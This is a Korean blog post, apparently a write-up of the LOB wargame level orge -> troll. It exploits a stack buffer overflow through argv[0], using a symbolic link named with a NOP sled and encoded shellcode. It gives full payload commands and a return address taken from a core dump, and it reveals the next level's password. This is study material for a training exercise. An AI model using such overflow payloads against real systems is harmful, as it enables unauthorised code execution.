티스토리 뷰

pwnable/LOB

[LOB] orge -> troll write-up

ba0bab 2018. 2. 11. 15:59



LOB orge -> troll


id : orge

pw : timewalker



코드입니다.


argc가 2개 여야 하네요 흠..


환경변수는 초기화를 해주고


argv[1]의 마지막은 bf이니 스택을 이용해야 하고


argv[1]의 길이는 48이상이면 안됩니다.


buf는 초기화를 하고 argv[1]도 초기화를 하네요


그럼 딱 하나 남았네요


argv[0]을 이용해서 공격하면 될 것 같습니다.


저번 레벨에서 써먹었던 심볼릭 링크를 이용하면 될 것 같습니다.


ln -s troll `python -c 'print "\x90"*98+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


이렇게 심볼릭 링크를 걸어줍니다.


./`python -c 'print "\x90"*98+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\xbf"*48'`


그리고 파일을 실행하고 argv[1] 47이 bf이여 하니깐 core파일을 생성하기 위해 실행을 해봅니다.



core가 생성 되었습니다.



분석을 해보니 놉의 주소를 0xbffffa90 로 잡으면 될 것 같습니다.


./`python -c 'print "\x90"*98+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\x90\xfa\xff\xbf"'`



payload입니다.


tmp 파일에 공격을 해보겠습니다.



쉘을 얻을 수 있습니다.


실제 파일에 공격을 해보겠습니다.


troll의 password는 aspirin입니다.

'pwnable > LOB' 카테고리의 다른 글

[LOB] vampire -> skeleton write-up  (0) 2018.02.14
[LOB] troll -> vampire write-up  (0) 2018.02.11
[LOB] darkelf -> orge write-up  (0) 2018.01.27
[LOB] wolfman -> darkelf write-up  (0) 2018.01.27
[LOB] orc -> wolfman write-up  (0) 2018.01.27
Comments